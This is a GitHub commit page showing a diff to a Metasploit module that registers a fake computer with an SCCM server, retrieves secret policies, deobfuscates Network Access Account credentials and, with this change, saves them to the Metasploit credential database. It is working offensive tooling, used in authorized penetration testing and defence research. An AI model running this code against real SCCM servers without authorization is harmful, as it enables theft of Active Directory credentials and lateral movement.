Skip to content

Commit

Permalink
Report creds to DB
Browse files Browse the repository at this point in the history
  • Loading branch information
smashery committed Dec 17, 2024
1 parent 7badd24 commit c6e3df8
Showing 1 changed file with 41 additions and 4 deletions.
45 changes: 41 additions & 4 deletions modules/auxiliary/admin/sccm/get_naa_credentials.rb
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,7 @@ def initialize(info = {})
info,
'Name' => 'Get NAA Credentials',
'Description' => %q{
This module attempts to retrieve the Network Access Account, if configured, from the SCCM server.
This module attempts to retrieve the Network Access Account(s), if configured, from the SCCM server.
This requires a computer account, which can be added using the samr_account module.
},
'Author' => [
Expand Down Expand Up @@ -132,7 +132,7 @@ def run
}
}

sms_id = register_request(http_opts, management_point, key, cert)
sms_id, ip_address = register_request(http_opts, management_point, key, cert)
duration = 5
print_status("Waiting #{duration} seconds for SCCM DB to update...")

Expand All @@ -151,12 +151,14 @@ def run
end

all_results.each do |username, password|
report_creds(ip_address, username, password)
print_good("Found valid NAA credentials: #{username}:#{password}")
end
rescue SocketError => e
fail_with(Failure::Unreachable, e.message)
end

# Request the policy from the policy_url
def request_policy(http_opts, policy_url, sms_id, key)
policy_url.gsub!(%r{^https?://<mp>}, '')
policy_url = policy_url.gsub('{', '%7B').gsub('}', '%7D')
Expand Down Expand Up @@ -229,6 +231,7 @@ def request_policy(http_opts, policy_url, sms_id, key)
decrypted.force_encoding('utf-16le').encode('utf-8').delete_suffix("\x00")
end

# Retrieve all the policies with secret components in them
def get_secret_policies(http_opts, management_point, site_code, key, cert, sms_id)
computer_user = datastore['COMPUTER_USER'].delete_suffix('$')
fqdn = "#{computer_user}.#{datastore['DOMAIN']}"
Expand Down Expand Up @@ -287,22 +290,24 @@ def get_secret_policies(http_opts, management_point, site_code, key, cert, sms_i
urls
end

# Sign the data using the RSA key, and reverse it (strange, but it's what's required)
def rsa_sign(key, data)
signature = key.sign(OpenSSL::Digest.new('SHA256'), data)
signature.reverse!

signature.unpack('H*')[0].upcase
end

# Make a pubkey structure (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/ade9efde-3ec8-4e47-9ae9-34b64d8081bb)
def make_ms_pubkey(pub_key)
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/ade9efde-3ec8-4e47-9ae9-34b64d8081bb
result = "\x06\x02\x00\x00\x00\xA4\x00\x00\x52\x53\x41\x31"
result += [KEY_SIZE, pub_key.e].pack('II')
result += [pub_key.n.to_s(16)].pack('H*')

result.unpack('H*')[0]
end

# Make a request to the SCCM server to register our computer
def register_request(http_opts, management_point, key, cert)
pub_key = cert.to_der.unpack('H*')[0].upcase

Expand Down Expand Up @@ -340,6 +345,7 @@ def register_request(http_opts, management_point, key, cert)
if http_response.nil?
fail_with(Failure::Unreachable, 'No response from server')
end
ip_address = http_response.peerinfo['addr']
response = Rex::MIME::Message.new(http_response.to_s)
if response.parts.empty?
html_doc = Nokogiri::HTML(http_response.to_s)
Expand All @@ -365,9 +371,10 @@ def register_request(http_opts, management_point, key, cert)
end
print_status("Got SMS ID: #{sms_id}")

sms_id
[sms_id, ip_address]
end

# Extract obfuscated credentials from the resulting policy XML document
def get_creds_from_policy_doc(policy)
xml_doc = Nokogiri::XML(policy)
naa_sections = xml_doc.xpath(".//instance[@class='CCM_NetworkAccessAccount']")
Expand Down Expand Up @@ -428,6 +435,7 @@ def mscrypt_derive_key_sha1(secret)
hash1 + hash2[0..3]
end

## Create a self-signed private key and certificate for our computer registration
def generate_key_and_cert(subject)
key = OpenSSL::PKey::RSA.new(KEY_SIZE)
cert = OpenSSL::X509::Certificate.new
Expand All @@ -450,4 +458,33 @@ def generate_key_and_cert(subject)

[key, cert]
end

def report_creds(ip_address, user, password)
service_data = {
address: ip_address,
port: rport,
protocol: 'tcp',
service_name: 'sccm',
workspace_id: myworkspace_id
}

domain, account = user.split(/\\/)
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: account,
private_data: password,
private_type: :password,
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: domain
}
credential_core = create_credential(credential_data.merge(service_data))

login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}

create_credential_login(login_data.merge(service_data))
end
end

0 comments on commit c6e3df8

Please sign in to comment.